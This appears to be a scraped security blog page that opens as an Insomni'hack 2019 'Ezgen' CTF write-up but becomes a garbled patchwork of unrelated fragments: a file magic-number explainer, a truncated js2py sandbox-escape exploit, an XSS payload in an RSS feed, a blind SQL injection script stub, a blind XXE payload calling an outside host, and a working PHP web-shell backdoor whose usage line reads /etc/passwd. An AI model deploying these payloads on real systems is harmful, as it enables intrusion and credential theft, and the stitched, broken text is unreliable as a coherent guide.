ryujinx serundengsapi

Insomni'hack 2019 - Ezgen

Category: Web
Difficulty: Easy

We were offered a website that generates a pdf from a given URL.

How it works

Enter a URL and submit

File Magic Numbers

Magic numbers are the first bits of a file which uniquely identify the type of file. This makes programming easier because complicated file structures need not be searched in order to identify the file type.

For example, a jpeg file starts with ffd8 ffe0 0010 4a46 4946 0001 0101 0047 ......JFIF.....G ffd8 shows that it's a JPEG file, and ffe0 identify a JFIF type structure. There is an ascii encoding of "JFIF" which comes after a length code, but that is not necessary in order to identify the file. The first 4 bytes do that uniquely.

This gives an ongoing list of file-type magic numbers.

Image Files

CVE-2024-28397: js2py (JS interpreter) Sandbox Escape, bypassing restrictions to execute commands.

import js2py

js_code = """

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
 let item = o.__subclasses__()[i]

	<?xml version="1.0" encoding="UTF-8" ?>
	<rss version="2.0">
	<channel>
	<title>toto</title>
	<description>This is a simplified example of the RSS feed</description>
	<link>java
	script:alert(`XSSSS!`)</link>
	<copyright>2021 fileformat.com All rights reserved</copyright>
	<lastBuildDate>Wed, 22 Jun 2021 00:01:00 +0000</lastBuildDate>
	<pubDate>Wed, 22 Jun 2021 16:20:00 +0000</pubDate>

	from burp import IBurpExtender
	from burp import IHttpListener
	from burp import IProxyListener
	from burp import IScannerListener
	from burp import IExtensionStateListener
	from java.io import PrintWriter
	from burp import IParameter
	import datetime
	import hashlib

	import requests
	import re
	import time

	session = requests.session()
	payload="(SELECT+IF(ascii(substring({kolom},{idx},1))<={guess},1,sleep(.5)))"

	cookies = {"XSRF-TOKEN": ""}
	headers = {"User-Agent": ""}
	data = {"_method": "delete"}

	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
	--------------------------------------------------------------

	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>

	{
	"name": "Tiktok Downloader",
	"nodes": [
	{
	"parameters": {
	"httpMethod": "POST",
	"path": "bot/hook",
	"options": {}
	},
	"type": "n8n-nodes-base.webhook",

	<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
	<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
	<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>